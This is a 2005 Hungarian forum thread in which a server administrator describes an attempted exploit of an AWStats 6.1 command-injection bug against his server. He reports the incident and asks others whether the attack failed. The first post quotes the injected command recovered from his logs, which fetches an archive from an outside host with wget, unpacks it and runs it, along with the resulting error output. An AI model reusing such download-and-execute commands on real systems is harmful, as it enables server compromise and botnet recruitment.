awstat 6.1 bug

Security-all

awstat 6.1 bug

  • 1553 megtekintés

( PTZool | 2005. 02. 11., p – 13:55 )

Sziasztok

Mint a napokban hallottam rola, h valami awstat expolit kering a neten. Hat "sajnos" engem megtalaltak, bar ugy nez ki, h nem tudtak mit kezdeni mert elrontottak valamit. A bug egy nagyon egyszeru awstat.pl hivassal barmilyen parancsot futat. Nalam a kovetkezovel probalkoztak.

[code:1:bc738fbb08]
cd tmp wget http://vreauftp.home.ro/aw.tgz tar -xzf aw.tgz cd .aw httpd
[/code:1:bc738fbb08]

Legalabb is ezt hoztam ki a http keresekbol, a lenyeget mindenki lathatja.. Ugye nobody kent tudott ugykodni az emberke. wgettel leszedte a cuccot kitomoritette ill futatta, a szerencsem az legalabb is szerintem h nem jott neki ossze, de ha nincs igazam pls cafoljatok meg.

[code:1:bc738fbb08]
--21:48:03-- http://vreauftp.home.ro/aw.tgz
=> `aw.tgz.1'
Resolving vreauftp.home.ro... done.
Connecting to vreauftp.home.ro[81.196.20.133]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 205,438 [application/x-compressed]

0K .......... .......... .......... .......... .......... 24% 431.03 KB/s
50K .......... .......... .......... .......... .......... 49% 2.33 MB/s
100K .......... .......... .......... .......... .......... 74% 520.83 KB/s
150K .......... .......... .......... .......... .......... 99% 2.87 MB/s
200K 100% 623.05 KB/s

21:48:03 (802.49 KB/s) - `aw.tgz.1' saved [205438/205438]

.aw/httpd: Premature end of gzip compressed data: Input/output error
tar: Premature end of gzip compressed data: Input/output error
/awstats.devtux.hu.conf: not found
./httpd: 1: Syntax error: "(" unexpected
[/code:1:bc738fbb08]

Ez a hibauzenet vart engem az apache logban, szerencsere eppen a server mellett tartozkodtam es szokasomhoz hiven a logokat nyalaztam es ha nem akartam volna akkor is eszre veszem ezt a bejegyzest. Apache azonnal leallit + awstat torol ill frissit.

Remelem azert nem kerulte el a figyelmemet semmi, es nem maszkalnak a serveremen.:)

Bye pt|Zool

( global77 | 2005. 02. 11., p – 14:34 )

Ez egy egyszerű IRC-bot -nak tűnik.

Tökéletes indíték, avagy tökéletes alibi.

( PTZool | 2005. 02. 11., p – 14:40 )

Szia

Az lehet h bot, de hat mondjuk azt se nagyon szeretnem ha a serverem valami bot kozponta valna.:) Meg volt elotte egy nc file amit wgettel leszedett az emberke de azt se tudta futattni, az meg valami binaris volt. En meg gondoltam nem leszek olyan rendes h neki lefutassam, igy toroltem a tmpbol.:)

pt|Zool